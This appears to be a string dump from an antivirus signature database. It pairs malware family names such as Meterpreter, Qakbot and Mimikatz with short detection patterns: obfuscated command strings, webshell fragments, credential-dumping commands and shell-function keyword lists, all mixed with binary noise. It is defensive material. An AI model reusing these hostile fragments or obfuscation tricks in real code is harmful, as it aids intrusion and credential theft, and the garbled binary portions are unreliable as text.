;M!#ALF:TrojanSpy:MSIL/Stelega~26 M!#ALF:VirTool:MSIL/Reticular M!#ALF:VirTool:MSIL/Reticular~2Muk  M!#ALF:HackTool:Win32/AutoKMS  M!#ALF:HackTool:Win32/AutoKMS~2 M!#ALF:VirTool:MSIL/SharpKatz M!#ALF:VirTool:MSIL/SharpKatz~2 ;^s 'M!#ALF:VirTool:MSIL/SharpKatz ;^s 'M!#ALF:VirTool:MSIL/SharpKatz~2 C7z=if M!#ALF:Backdoor:Win32/Yonsole M!#ALF:Backdoor:Win32/Yonsole~2 ,MM!#ALF:Backdoor:Win32/LimeRat ,MM!#ALF:Backdoor:Win32/LimeRat~2 M!#ALF:Backdoor:Win32/LimeRat M!#ALF:Backdoor:Win32/LimeRat~3' M!#ALF:VirTool:MSIL/Obfuscator M!#ALF:VirTool:MSIL/Obfuscator~3* M!#ALF:Exploit:HTML/IframeExec M!#ALF:Exploit:HTML/IframeExec~33 oMM!#ALF:VirTool:MSIL/Obfuscator oMM!#ALF:VirTool:MSIL/Obfuscator~3V  [!ol M!#ALF:Trojan:MSIL/CryptInject M!#ALF:Trojan:MSIL/CryptInject~3uQ M!#ALF:VirTool:MSIL/Obfuscator~3 M!#ALF:Trojan:Win32/AmsiTamper M!#ALF:Trojan:Win32/AmsiTamper~3 M!#ALF:Trojan:MSIL/DllInjector M!#ALF:Trojan:MSIL/DllInjector~3 M!#ALF:Backdoor:MSIL/Peekserve M!#ALF:Backdoor:MSIL/Peekserve~4 M!#ALF:Trojan:Win32/EmotetCrypt M!#ALF:Trojan:Win32/EmotetCrypt~4?& >M!#ALF:VirTool:Win32/Obfuscator >M!#ALF:VirTool:Win32/Obfuscator~4F M!#ALF:Trojan:Win32/Meterpreter M!#ALF:Trojan:Win32/Meterpreter~4I7 M!#ALF:Trojan:Win32/Meterpreter~4^   M!#ALF:Trojan:Win32/EmotetCrypt~4 M!#ALF:Trojan:Win64/Meterpreter M!#ALF:Trojan:Win64/Meterpreter~4 M!#ALF:Trojan:Win32/AgentBypass M!#ALF:Trojan:Win32/AgentBypass~4 M!#ALF:Trojan:Win32/Meterpreter~4 (M!#ALF:Trojan:Win32/Meterpreter (M!#ALF:Trojan:Win32/Meterpreter~4 +M!#ALF:Ransom:MSIL/JigsawLocker +M!#ALF:Ransom:MSIL/JigsawLocker~5 =M!#ALF:Trojan:MSIL/CryptInjector =M!#ALF:Trojan:MSIL/CryptInjector~5j M!#ALF:Trojan:MSIL/CryptInjector M!#ALF:Trojan:MSIL/CryptInjector~5u M!#ALF:Trojan:MSIL/CryptInjector~5}\t M!#ALF:Trojan:MSIL/CryptInjector~5 M!#ALF:Trojan:MSIL/CryptInjector~6 2BM!#ALF:TrojanDropper:Win32/Floxif 2BM!#ALF:TrojanDropper:Win32/Floxif~9 M!#ALF:TrojanDownloader:Win32/FakeIE M!#ALF:TrojanDownloader:Win32/FakeIE~:t5# M!#ALF:Program:Win32/VulnInsydeDriver M!#ALF:Program:Win32/VulnInsydeDriver~: iM!#ALF:BrowserModifier:Win32/Foxiebro iM!#ALF:BrowserModifier:Win32/Foxiebro~: > 9M!#ALF:BrowserModifier:Win32/Foxiebro > 9M!#ALF:BrowserModifier:Win32/Foxiebro~: uCM!#ALF:Program:Win32/VulnInsydeDriver uCM!#ALF:Program:Win32/VulnInsydeDriver~: *@+`d M!#ALF:Program:Win32/VulnInsydeDriver~<)z  M!#ALF:TrojanDownloader:Win32/Gendwnurl  M!#ALF:TrojanDownloader:Win32/Gendwnurlz BmEopMonitoredProcessest 6(784),%temp%\\33b84246-f945-11e6-bc64-92361f002671.exez CloudCallASEP Infrastructure_CheckASEPandCallCloud %Infrastructure_CheckASEPandCallCloud a5b3c152874a  ]EF@  CloudCallASEPTest !#TEL:Lua:UserInitiatedOnDemandScan GetScanSource SCANSOURCE_ONDEMAND !#TEL:Lua:BM_UNKNOWN_FILE !#TEL:Lua:BM_UNKNOWN_FILEObMpAttributes SCANREASON_ONFIRSTREAD BM_UNKNOWN_FILE Lua:HdrDdVal   !#Lua:ASRContextEXEDoubleExtension fd960b4a-d8d7-4590-a6ce-0219df56a135 %fd960b4a-d8d7-4590-a6ce-0219df56a135 Lua:ASRContextEXEDoubleExtension !Lua:ASRContextEXEDoubleExtension c6b3db3234ed !#TEL:Trojan:Win32/CredentialEnumerate.A !#TEL:Trojan:Win32/CredentialEnumerate.AIncludesAgePrevalence SuspCredEnumerateAttempt 85b33a91df71 RunsDestructiveCMDsParentBlock 85b39814a668 145b31b775a5c 145b384021860 145b3c1653207 145b3d72119cf a5b3c0f86962 (.+)\\ 31b35394a049 15b3af66e56b !#SLF:AGGREGATOR:CloudCleanToMoacTest DCO_MpDisableUefiRomReadForAMD !#SCRIPT:AmsiSigTrigger.A!alf alftestsig !#SCRIPT:AmsiSigTrigger.A!slf slftestsig !#SLF:Trojan:BAT/Cononfil.A slftestfilesig !#SCRIPT:AmsiSigTrigger.A!det concretetestsig !#SLF:AmsiTesting.E R!#SLF:AmsiTesting.E !#SLF:AmsiTesting.F S!#SLF:AmsiTesting.F !#SLF:AmsiTesting S!#SLF:AmsiTesting 554015fb9f4d  55405fe370af  5540a7c7f5c6  5540e237c343  55786f1de9e5  567825136fcf  57781eddd4c6  577826cb72f4  5b78d633e9d2  5f7808bc6576  6289d9d6481f 63783d85c3cd  63786022f661  6540b146a0af  6540d32a1740  66787bee04a0  667894b99f38  6978ae1a30ba  6978c5f61b99  6a61869e7bfe  6a7810c8123d  6c781663849e  6c78daf2f071  6e781991af77  6e78e59b6cb1  6f783a4c26b6  727894ae9903  78788969a601  7978a73e2bb8 PUA:Block:DownloadSponsor 7b7843bcbab6  7e78d8534f14  7f78113f5d6a  837811a6887c  8378554ffb41  8540ec23e44e  857878c253f0  86781c052888  867848552399  8c78f3706abe  8f78fe5a4f01  90613afccd79  9478ff483265  97786446d886  9778f2507efe  99789af9c609  9b78c0359972  9c78022fed20  9c787454c6c5  9d78074872ea  a078f912b59f  a278d32713ae  a4781c419624  a540bf97a858  a64169d4f27b  ab78604963c2  ac78d3c59386  af78395d7965  b4789c02f41f  b5403759c924  b778d408aacd  b878965b4c72  ba789b583b8d  bd78ba183ff6  c0611f078eed  c16156405bdc  c7783d67ab9f  cc7810ffed25 PUA:Block:SmartEngine:Bit d0789c5dec4d  d278dddba3cb  d3618bb49915 PUA:Block:YetAnotherMiner d378228685f1  e0782c13d3c4  e2780a6d1b70  ee787be72a89  f578c900c5f2  857826f3051c 857826f3051cIncludesHstrLuaLib maceExtract_Qakbot 14c786a262c04 16c7819128b3c PUA:Block:PremierOpinion 24c781e65a865 2f578f9a9870a 3ec787ad228ba ac3780f1be999 !#Lua:TEFRTPR.Func MpInternal_RichData_Ex MpKssTstKernel 1540168e6220 157822c88c4f  197810af244b  1b61eac9f1c5  1c786519e62c D,8}j 1gE- ut%+_V >wi}:\" AUb;a 2(T+[ >]G.bX C<}M[ i\\E\\? /-|7] GZm*dH N7sC2n- 0 W@G Ly-G2D qJqgY I?b#K  +Or! :V>($ 2rj*X5 vP\\6# ?VG:5 dgoM{ #,\"&` @ju(P 7S(1+ Y^dnm xz_*W V2Zjd ye<;x `T\"8E4 B .|[wm  pG+5 :}T(] \t<.dm l'8+? !0H&V* vU{qT)- 6SJ^V NyaI(o %J04K rJQ'1 ~Lq?y -v5h p8 @{_l@ ik=0T [IM0s ,2G`? ZdIUq# |1i#/; X7Ei] M+Q6m Y+cDM ~ BPp5 <GrF(3 C<&h- U]N'99 k3CJX YBQ}K ZTNsL yresB 5Vk5] >He{]u 'ohVnP 3}i Z O_cCP'O iG>AV \\GKbI h\tNV? -di2Z ~:{,| Ab/   rb-5F ;U7<* RZs]m xz n:E |YP^# WT(wX Et[V  j#P~ 0! n%='1 kXmxP 35x p 7~JUF[ +7N>{ *zL4' 3e?l: +:9$>q5> na@eb|t YXfAz jHqU, &y%a' Uxh7  xnxOC   (.+.php.+%a%a%a) %.(.*) 2db37a4cd935 socket.socket subprocess popen stdin stdout 21eb3f83fc602 BMLuaLib,ResearchData 21eb3f83fc602IncludesBMLuaLib,ResearchData   /etc/ /home/ /opt/ T1486 SensitiveFileTampering 247b384d8bf93 247b384d8bf93IncludesBMLuaLib,ResearchData   314b348569dab 314b348569dabIncludesBMLuaLib,ResearchData   SensitiveFilesOpen 69b3409d9e3c /([^/]+)$   /sbin/ /usr/bin/  /usr/sbin/ c9b35d4d4843 c9b35d4d4843IncludesResearchData ActionTagFileCreate  115b3d1bc668b 61b36e2fa75a fsockopen  shell_exec passthru \tpassthru proc_open   79b34ee6b952 79b34ee6b952IncludesResearchData  67b3f29a29f9 -perm \twritable -name  .fetchmailrc  21eb365e6b839 21eb365e6b839IncludesBMLuaLib,ResearchData   c9b32748c3e6 c9b32748c3e6IncludesResearchData 131b375ea7f8d 131b375ea7f8dIncludesResearchData 159b364b8503f 159b364b8503fIncludesBMLuaLib,ResearchData /bash  /run/yum.pid  T1546.004  T1543.002  T1543 T1546 T1547.006  T1037.004  T1053.003  Persistence 3fb319815fd3 .json .yaml /boot/grub/  /var/run/   a5b3a4fc54ae    %.[^%.]+$  b4b391f77877 b4b391f77877IncludesBMLuaLib  51b38e623522 -iname -iregex -regex /root/  !#Trojan:AutoIt/Nanocore.DA3!MTB )> !#Trojan:AutoIt/Nanocore.DA3!MTB =execute($  !#Trojan:PowerShell/Reflection.A )> !#Trojan:PowerShell/Reflection.A system.reflection !!#ALFPER:SCRIPT:Win32/Compesupp.A )>!!#ALFPER:SCRIPT:Win32/Compesupp.A {app}\\regwiz.exe !!#Lowfi:Exploit:SWF/FlappyMan.A-2 )>!!#Lowfi:Exploit:SWF/FlappyMan.A-2 infectedobjindex !!#Lowfi:Exploit:SWF/FlappyMan.A-4 )>!!#Lowfi:Exploit:SWF/FlappyMan.A-4 heapsprayobjaddr !!#Lowfi:Exploit:SWF/FlappyMan.A-5 )>!!#Lowfi:Exploit:SWF/FlappyMan.A-5 heapspraylenbyen !!#Lowfi:Exploit:SWF/FlappyMan.A-8 )>!!#Lowfi:Exploit:SWF/FlappyMan.A-8 findgadgetfailed !!#Python:LaZagne:jitsi_masterpass )>!!#Python:LaZagne:jitsi_masterpass jitsi_masterpass )>!!#SCPT:JS!Obfuscator.Split.CmdExe [\"exec\"](\"cmd.\"+ !!#SCPT:JS/Obfuscator.TEMPFolder.A )>!!#SCPT:JS/Obfuscator.TEMPFolder.A \"%temp\" !!#SCPT:O97M/ObfShellLaunch.F!amsi )>!!#SCPT:O97M/ObfShellLaunch.F!amsi @mshta !!#SCPT:Phish:PHP/Denyfromabuse.GG )>!!#SCPT:Phish:PHP/Denyfromabuse.GG denyfromabuse.ch !!#SCPT:Trojan:HTML/Phish.DRD1!MTB )>!!#SCPT:Trojan:HTML/Phish.DRD1!MTB !!#SCPT:Trojan:VBS/Obfuse.DRB5!MTB )>!!#SCPT:Trojan:VBS/Obfuse.DRB5!MTB f:f:f:f:f:f:f:f: !!#SCPT:Trojan:VBS/Obfuse.DRB8!MTB )>!!#SCPT:Trojan:VBS/Obfuse.DRB8!MTB .readtextsetswcu !!#SCPT:Trojan:VBS/Obfuse.RVA3!MTB )>!!#SCPT:Trojan:VBS/Obfuse.RVA3!MTB !!#SCPT:Win32API_ntcreateproc!amsi )>!!#SCPT:Win32API_ntcreateproc!amsi !!#SCPT:Win32API_regsetvaluew!amsi )>!!#SCPT:Win32API_regsetvaluew!amsi .regsetkeyvaluew !!#SCPT:Win32API_zwresumeproc!amsi )>!!#SCPT:Win32API_zwresumeproc!amsi !!#SCRIPT:Exploit:HTML/Meercat.I-3 )>!!#SCRIPT:Exploit:HTML/Meercat.I-3 publicstatistics !!#SCRIPT:JS/WithDotFunctionName.A )>!!#SCRIPT:JS/WithDotFunctionName.A )>!!#SCRIPT:PowerShell/Invoke-Apex.A invoke-uacbypass \"!#SCPT:Backdoor:PHP/Title_Sh3ll.GG )>\"!#SCPT:Backdoor:PHP/Title_Sh3ll.GG sh3ll \"!#SCPT:Backdoor:PHP/Title_Shell.GG )>\"!#SCPT:Backdoor:PHP/Title_Shell.GG \"!#SCPT:GeneralityExploitStrRare.AH )>\"!#SCPT:GeneralityExploitStrRare.AH \"!#SCPT:JS/Obfuscator.Split.Shell.A )>\"!#SCPT:JS/Obfuscator.Split.Shell.A .she'+'l \"!#SCPT:JsMethodFunc_xmlhttprequest )>\"!#SCPT:JsMethodFunc_xmlhttprequest xmlhttprequest( \"!#SCPT:Phish:PHP/Sharepoint_Css.GG )>\"!#SCPT:Phish:PHP/Sharepoint_Css.GG share-point.css \"!#SCPT:Trojan:JS/PdfjscRPF_ForEval )>\"!#SCPT:Trojan:JS/PdfjscRPF_ForEval for(eval( \"!#SCPT:Trojan:Java/Adwind.PJA4!MTB )>\"!#SCPT:Trojan:Java/Adwind.PJA4!MTB wsh.echo(nigraw \"!#SCPT:Win32API_rtlfillmemory!amsi )>\"!#SCPT:Win32API_rtlfillmemory!amsi \"!#SCRIPT:HTML/TechMsgFakeActions.F )>\"!#SCRIPT:HTML/TechMsgFakeActions.F threatsmanually \"!#SCRIPT:HTML/TechMsgFakeActions.K )>\"!#SCRIPT:HTML/TechMsgFakeActions.K toremoveviruses \"!#SCRIPT:PSExploitRunspaceAbuse.A3 )>\"!#SCRIPT:PSExploitRunspaceAbuse.A3 .invokeasync(); \"!#SCRIPT:Trojan:JS/Redirector.GL.2 )>\"!#SCRIPT:Trojan:JS/Redirector.GL.2 (\"%73%72%63\")]= \"!#Trojan:AutoIt/AgentTesla.SP5!MTB )>\"!#Trojan:AutoIt/AgentTesla.SP5!MTB \",\"regasm.exe\") \"!#Trojan:AutoIt/AutoInject.SJ5!MTB )>\"!#Trojan:AutoIt/AutoInject.SJ5!MTB bin_shellcode&= #!#ALF:HSTR:SoftwareBundler:Xiazai:2 )>#!#ALF:HSTR:SoftwareBundler:Xiazai:2 bkmg[(i)][(c)] #!#SCPT:Backdoor:ASP/Dirtelti.K5!MTB )>#!#SCPT:Backdoor:ASP/Dirtelti.K5!MTB request(\"cmd\") #!#SCPT:Backdoor:PHP/Dirtelti.C2!MTB )>#!#SCPT:Backdoor:PHP/Dirtelti.C2!MTB )>#!#SCPT:Exploit:JS/CVE-2009-1136.0.1 (\"%u0b0c%u0b0c #!#SCPT:GeneralityExploitStrCommon.H )>#!#SCPT:GeneralityExploitStrCommon.H use-after-free #!#SCPT:JS/Obfuscator.HexMixed.cmd.A )>#!#SCPT:JS/Obfuscator.HexMixed.cmd.A \\143\\155\\u0064 \\143\\u006d\\144 \\143\\u006d\\x64 \\143\\x6d\\u0064 \\u0063\\155\\144 \\u0063\\155\\x64 \\u0063\\x6d\\144 \\u0063\\x6d\\x64 \\x63\\155\\u0064 \\x63\\u006d\\144 \\x63\\u006d\\x64 \\x63\\x6d\\u0064 #!#SCPT:JS/Obfuscator.HexMixed.run.A )>#!#SCPT:JS/Obfuscator.HexMixed.run.A \\122\\165\\u006e \\122\\u0075\\156 \\122\\u0075\\x6e \\122\\x75\\u006e \\u0052\\165\\156 \\u0052\\165\\x6e \\u0052\\x75\\156 \\u0052\\x75\\x6e \\x52\\165\\u006e \\x52\\u0075\\156 \\x52\\u0075\\x6e \\x52\\x75\\u006e )>#!#SCPT:JS/Obfuscator.Reversed.var.A '','r','a','v' )>#!#SCPT:JS/Obfuscator.Split.length.A =\"en\"+\"g\"+\"t\"; #!#SCPT:JS/Obfuscator.Split.random.A )>#!#SCPT:JS/Obfuscator.Split.random.A 'andom' 'ra'+ 'ndom' 'ran'+ 'dom' 'rand'+ 'rando'+ #!#SCPT:O97M/CVE-2017-11882.RVJ2!MTB )>#!#SCPT:O97M/CVE-2017-11882.RVJ2!MTB equati/.native #!#SCPT:PowerShell/PasswordVault.HZ3 )>#!#SCPT:PowerShell/PasswordVault.HZ3 .retrieveall() #!#SCPT:Script/FileTypeMacro.A!Rttr9 )>#!#SCPT:Script/FileTypeMacro.A!Rttr9 thoracic2.docx #!#SCPT:Win32API_httpqueryinfoA!amsi )>#!#SCPT:Win32API_httpqueryinfoA!amsi .httpqueryinfo #!#SCRIPT:Exploit:JS/CVE-2013-3897-2 )>#!#SCRIPT:Exploit:JS/CVE-2013-3897-2 id_0.select(); #!#SCRIPT:Nemim_Encrypted_File!LowFi )>#!#SCRIPT:Nemim_Encrypted_File!LowFi minmei )>#!#SCRIPT:PowerShell/Mikatz!commands kerberos::hash kerberos::list lsadump::cache lsadump::trust #!#SCRIPT:Ransom:Win32/Stampado_Name )>#!#SCRIPT:Ransom:Win32/Stampado_Name Stampado_debug #!#Scpt:Phish:PHP/MalActorCyborg!MTB )>#!#Scpt:Phish:PHP/MalActorCyborg!MTB madebycyborg99 #!#Script:Phish:PHP/Phishmul.AD2!MTB )>#!#Script:Phish:PHP/Phishmul.AD2!MTB =\"--+createdby #!#Trojan:AutoIt/AgentTesla.SP15!MTB )>#!#Trojan:AutoIt/AgentTesla.SP15!MTB dim$startupdir #!#TrojanDownloader:HTML/HASHWinMin3 )>#!#TrojanDownloader:HTML/HASHWinMin3 miner.start(); )>#!#TrojanDownloader:Win32/Lnkget.gen .bat&echobye>> $!#SCPT:CodeOnly.ChromeSetNoSandbox.C )>$!#SCPT:CodeOnly.ChromeSetNoSandbox.C nosandboxtype )>$!#SCPT:JS/Obfuscator.HexMixed.http.A \\x68\\x74\\x74p \\x68\\x74t\\x70 \\x68t\\x74\\x70 h\\x74\\x74\\x70 $!#SCPT:Nemucod_exclusion.maindrawobj )>$!#SCPT:Nemucod_exclusion.maindrawobj |maindrawobj| $!#SCPT:Nemucod_exclusion.pixelheight )>$!#SCPT:Nemucod_exclusion.pixelheight |pixelheight| $!#SCRIPT:CmdFileOutputMultipleEcho.A )>$!#SCRIPT:CmdFileOutputMultipleEcho.A .bat&echoecho $!#SCRIPT:CmdFileOutputMultipleEcho.B )>$!#SCRIPT:CmdFileOutputMultipleEcho.B .cmd&echoecho $!#SCRIPT:Exploit:SWF/CVE-2014-0515-1 )>$!#SCRIPT:Exploit:SWF/CVE-2014-0515-1 displayshader $!#SCRIPT:TrojanDownloader:JS/Rusem.2 )>$!#SCRIPT:TrojanDownloader:JS/Rusem.2 paycrypt.like %!#Exploit:O97M/CVE-2017-11882.S!ats01 )>%!#Exploit:O97M/CVE-2017-11882.S!ats01 mshtahttp:// %!#SCPT:Backdoor:ASP/b374kShell.A2!MTB )>%!#SCPT:Backdoor:ASP/b374kShell.A2!MTB &shell_name& %!#SCPT:Trojan:PowerShell/WmiRemoter.G )>%!#SCPT:Trojan:PowerShell/WmiRemoter.G cim_datafile %!#SCPT:Trojan:Win32/PShellEnIEX!Sup02 )>%!#SCPT:Trojan:Win32/PShellEnIEX!Sup02 %!#SCPT:TrojanDownloader:JS/Rifrab.A.2 )>%!#SCPT:TrojanDownloader:JS/Rifrab.A.2 fff=op.split %!#SCPT:TrojanDownloader:VBS/Ledod.JJ2 )>%!#SCPT:TrojanDownloader:VBS/Ledod.JJ2 execute( %!#SCPT:TrojanDownloader:VBS/Ledod.JJ5 )>%!#SCPT:TrojanDownloader:VBS/Ledod.JJ5 (len( %!#TrojanDownloader:JS/Coropam.AA!ats3 )>%!#TrojanDownloader:JS/Coropam.AA!ats3 ='fucking47' %!#TrojanDownloader:JS/Donvibs.P!kma02 )>%!#TrojanDownloader:JS/Donvibs.P!kma02 {return![];} &!#Exploit:O97M/CVE-2017-11882.AV!ats01 )>&!#Exploit:O97M/CVE-2017-11882.AV!ats01 7h\\ol1oc~^9  &!#SCPT:CodeOnly.EnableMojoJsBindings.B )>&!#SCPT:CodeOnly.EnableMojoJsBindings.B enable_mojo  &!#SCPT:EnvVarCharReplacement.EnvVarUse )>&!#SCPT:EnvVarCharReplacement.EnvVarUse ,1%=%temp%\"  &!#SCPT:Exploit:O97M/CVE-2017-11882.YD4 )>&!#SCPT:Exploit:O97M/CVE-2017-11882.YD4 {\\bin000000  &!#SCPT:HackTool:PowerShell/AmsiContext )>&!#SCPT:HackTool:PowerShell/AmsiContext  )>&!#SCPT:JS/Obfuscator.InnerScript.AAY.A +=';';e  &!#SCPT:Phish:PHP/Domcheck_AtHotmail.GG )>&!#SCPT:Phish:PHP/Domcheck_AtHotmail.GG '@hotmail.'  &!#SCPT:Phish:PHP/Domcheck_AtOutlook.GG )>&!#SCPT:Phish:PHP/Domcheck_AtOutlook.GG '@outlook.'  &!#SCPT:Trojan:JS/PdfjscRPF_EvalThisDot )>&!#SCPT:Trojan:JS/PdfjscRPF_EvalThisDot =eval;this.  &!#SCPT:TrojanDownloader:JS/Nemucod.IC1 )>&!#SCPT:TrojanDownloader:JS/Nemucod.IC1 +\".d\"+\"ll\";  &!#SCPT:TrojanDownloader:JS/Nemucod.JV7 )>&!#SCPT:TrojanDownloader:JS/Nemucod.JV7 293b0a20202  &!#SCPT:TrojanDownloader:JS/Nemucod.QK1 )>&!#SCPT:TrojanDownloader:JS/Nemucod.QK1 _hud_duck);  &!#SCPT:TrojanDownloader:JS/Nemucod.RJ2 )>&!#SCPT:TrojanDownloader:JS/Nemucod.RJ2  \"][1 &!#SCPT:TrojanDownloader:JS/Nemucod.RN2 )>&!#SCPT:TrojanDownloader:JS/Nemucod.RN2 (){return\"\"  &!#SCPT:TrojanDownloader:JS/Nemucod.SC5 )>&!#SCPT:TrojanDownloader:JS/Nemucod.SC5  )[/* &!#SCPT:TrojanDownloader:JS/Nemucod.SH3 )>&!#SCPT:TrojanDownloader:JS/Nemucod.SH3 =\"g\"+\"ety\"+  &!#SCPT:TrojanDownloader:JS/Nemucod:Z1c )>&!#SCPT:TrojanDownloader:JS/Nemucod:Z1c /*@cc_onvar  &!#SCRIPT:Exploit:Win32/CVE-2015-1641-5 )>&!#SCRIPT:Exploit:Win32/CVE-2015-1641-5 d0cf11e0a1b  &!#TEL:SCPT:Trojan:Win32/COMScriptlet.A )>&!#TEL:SCPT:Trojan:Win32/COMScriptlet.A feedacdc}\">  &!#TrojanDownloader:JS/Elshutilo.B!atb1 )>&!#TrojanDownloader:JS/Elshutilo.B!atb1 elifotevas.  &!#TrojanDownloader:JS/Elshutilo.B!atb3 )>&!#TrojanDownloader:JS/Elshutilo.B!atb3 'teg'(nepo.  &!#TrojanDownloader:JS/Nemucod.JN!atb01 )>&!#TrojanDownloader:JS/Nemucod.JN!atb01 .push(\",\");  &!#TrojanDropper:AutoIt/Obfusesd2!ptb02 )>&!#TrojanDropper:AutoIt/Obfusesd2!ptb02 #notrayicon  '!#SCPT:TrojanDownloader:JS/Nemucod.BBO3 )>'!#SCPT:TrojanDownloader:JS/Nemucod.BBO3 savetofile '!#SCPT:TrojanDownloader:JS/Nemucod.BMT3 )>'!#SCPT:TrojanDownloader:JS/Nemucod.BMT3 .eval( '!#SCPT:TrojanDownloader:JS/Sumak!8fa6_4 )>'!#SCPT:TrojanDownloader:JS/Sumak!8fa6_4 case\"gtfo\" '!#SCPT:TrojanDownloader:Java/Banload.L2 )>'!#SCPT:TrojanDownloader:Java/Banload.L2 pintebinha '!#SCPT:TrojanDownloader:Java/Banload.Q2 )>'!#SCPT:TrojanDownloader:Java/Banload.Q2 erk,useros '!#SCPT:TrojanDownloader:O97M/Qakbot.SZ1 )>'!#SCPT:TrojanDownloader:O97M/Qakbot.SZ1 openddddbp '!#SCPT:TrojanDownloader:O97M/Qakbot.SZ2 )>'!#SCPT:TrojanDownloader:O97M/Qakbot.SZ2 shell32-dd '!#SCPT:TrojanDownloader:VBS/Banload.BT2 )>'!#SCPT:TrojanDownloader:VBS/Banload.BT2 33300)uac( '!#SCPT:TrojanDownloader:VBS/Donvibs.SS3 )>'!#SCPT:TrojanDownloader:VBS/Donvibs.SS3 fsdfdsfs=\" (!#SCPT:Linux/Trojan.mal_attr_ExecFromTmp )>(!#SCPT:Linux/Trojan.mal_attr_ExecFromTmp exec/tmp/ (!#SCPT:TrojanDownloader:JS/Swabfex_emu_1 )>(!#SCPT:TrojanDownloader:JS/Swabfex_emu_1 555D555E0 (!#SCPT:TrojanDownloader:O97M/Slinjek.AJ1 )>(!#SCPT:TrojanDownloader:O97M/Slinjek.AJ1 auto_open (!#TEL:Exploit:O97M/CVE-2017-11882.ZA!MTB )>(!#TEL:Exploit:O97M/CVE-2017-11882.ZA!MTB {\\rtf5459 )!#SCPT:Exploit:SWF/CVE-2018-4878.findfunc )>)!#SCPT:Exploit:SWF/CVE-2018-4878.findfunc findfunc  )!#SCPT:Exploit:SWF/CVE-2018-4878.method_1 )>)!#SCPT:Exploit:SWF/CVE-2018-4878.method_1 method_1  )!#SCPT:Exploit:SWF/CVE-2018-4878.method_2 )>)!#SCPT:Exploit:SWF/CVE-2018-4878.method_2 method_2  )!#SCPT:Exploit:SWF/CVE-2018-4878.method_5 )>)!#SCPT:Exploit:SWF/CVE-2018-4878.method_5 method_5  )!#SCPT:TrojanDownloader:O97M/Zloader.STO1 )>)!#SCPT:TrojanDownloader:O97M/Zloader.STO1 c:\\orwkw  )!#Script:Trojan:JS/NemuKryptikDow.AD!MTB7 )>)!#Script:Trojan:JS/NemuKryptikDow.AD!MTB7 .type=1;  )!#Script:Trojan:JS/NemuKryptikDow.AD!MTB8 )>)!#Script:Trojan:JS/NemuKryptikDow.AD!MTB8 .open();  *!#SCPT:TrojanDownloader:HTML/Genbhv.MZ!ex2 )>*!#SCPT:TrojanDownloader:HTML/Genbhv.MZ!ex2 &\".exe\" \t&\".exe\" *!#SCPT:TrojanDownloader:VBS/Obfuse.PV2!MTB )>*!#SCPT:TrojanDownloader:VBS/Obfuse.PV2!MTB array(\" \tarray(\" *!#SCPT:TrojanDownloader:VBS/Qakbot.SS3!MTB )>*!#SCPT:TrojanDownloader:VBS/Qakbot.SS3!MTB \texecute +!#SCPT:Exploit:O97M/CVE-2017-8570.AR!MTB!R5 )>+!#SCPT:Exploit:O97M/CVE-2017-8570.AR!MTB!R5 http30 +!#SCPT:TrojanDownloader:O97M/IcedId.MS1!MTB )>+!#SCPT:TrojanDownloader:O97M/IcedId.MS1!MTB jjccbb +!#SCPT:TrojanDownloader:O97M/IcedId.MX1!MTB )>+!#SCPT:TrojanDownloader:O97M/IcedId.MX1!MTB ,!#SCPT:TrojanDownloader:HTML/Phish.ZHVF1!MTB )>,!#SCPT:TrojanDownloader:HTML/Phish.ZHVF1!MTB <form ,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV6!MTB )>,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV6!MTB wnloa ,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV9!MTB )>,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV9!MTB dtruh ,!#SCPT:TrojanDownloader:O97M/Qakbot.PJI6!MTB )>,!#SCPT:TrojanDownloader:O97M/Qakbot.PJI6!MTB -!#SCPT:TrojanDownloader:O97M/Encdoc.AVB34!MTB )>-!#SCPT:TrojanDownloader:O97M/Encdoc.AVB34!MTB !#MacOS_Pirrit2 vardg=document[a0b('0x16' %vardg=document[a0b('0x16'  script' !#SCPT:LetmeinAG write-debug\"downloadi $write-debug\"downloadi gthemtrpl\" !#SCPT:LetmeinAR write-verbose\"execu $write-verbose\"execu ingthemtrpl\" leaker_addr=null; $leaker_addr=null; leaker={a:{}}; !#SLF:PS/JoinIEX =(-join$ $=(-join$ )-join'';$ |&(gali*x) !#BM_WMI_MOF_FILE #pragma ##pragma \"\\\\x90 !#SCPT:JS:Zheg.O2 =parseint( #=parseint( get-command-module7zip4powershell #get-command-module7zip4powershell !#SCPT:Wannamine2 new-object-comobjectwscript.shell #new-object-comobjectwscript.shell !#SCRIPT:Mavil.B4 /loader/load.php?bid= #/loader/load.php?bid= &hwid= !#SCPT:JS.Chrext.2 \\x61\\x67\\x61\\x6d\\x65\\x6e\\x74\\x6f \"\\x61\\x67\\x61\\x6d\\x65\\x6e\\x74\\x6f !#SCPT:JS.Chrext.4 \\x69\\x6e\\x61\\x6c\\x69\\x7a\\x61\\x72 \"\\x69\\x6e\\x61\\x6c\\x69\\x7a\\x61\\x72 !#SCPT:Lafavloz.A1 antibotkill=\"antibotkill \"antibotkill=\"antibotkill \"then !#SCPT:Nemucod.DI1 \"+\"\\x61\"+\"rat\"]( \"\"+\"\\x61\"+\"rat\"]( ;function !#SCPT:PHPShell.A4 opjudovg}{;#)tutjyf`opjudovg)!gj \"opjudovg}{;#)tutjyf`opjudovg)!gj !#SCPT:RemThread.1 ntcreatethreadex.invoke \"ntcreatethreadex.invoke 1fffff !#SCPT:Rundll_path c:\\windows\\system32\\rundll32.exe \"c:\\windows\\system32\\rundll32.exe !#SCPT:Webshell.V1 phpcodeinjection||exploitbyi-hmx \"phpcodeinjection||exploitbyi-hmx !#SCPT:Webshell.V4 payload=base64_encode(\"passthru( \"payload=base64_encode(\"passthru( !#SCRIPT:ConsoleIn [console]::treatcontrolcasinput= \"[console]::treatcontrolcasinput= $pshome[ \"$pshome[ ]+'x' $shellid[ \"$shellid[ ]+$shellid[ ]+'x') |foreach \"|foreach {([int]$_-as[char])}) !#SCPT:Goopisung.A3 https://storage.googleapis.com/ !https://storage.googleapis.com/ !https:// ` @.dll ` http://fmforums.com/wggx991264/ !http://fmforums.com/wggx991264/ !#SCPT:OKMSBypass.E !create @binpath= @\\srvany.exe !#SCPT:PS/Powdow.A3 esrever::]yarra[;)(yarrarahcot. !esrever::]yarra[;)(yarrarahcot. !#SCPT:WannamineWMI root\\default:systemcore_updater !root\\default:systemcore_updater !#SCRIPT:PsObfus.A2 |convertto-securestring !|convertto-securestring )|iex /id[(\\\\ueph1u)(\\n032n@j)]/info  /id[(\\\\ueph1u)(\\n032n@j)]/info !#SCPT:EvalProtector innerhtml.indexof(\"top[0].eval  innerhtml.indexof(\"top[0].eval 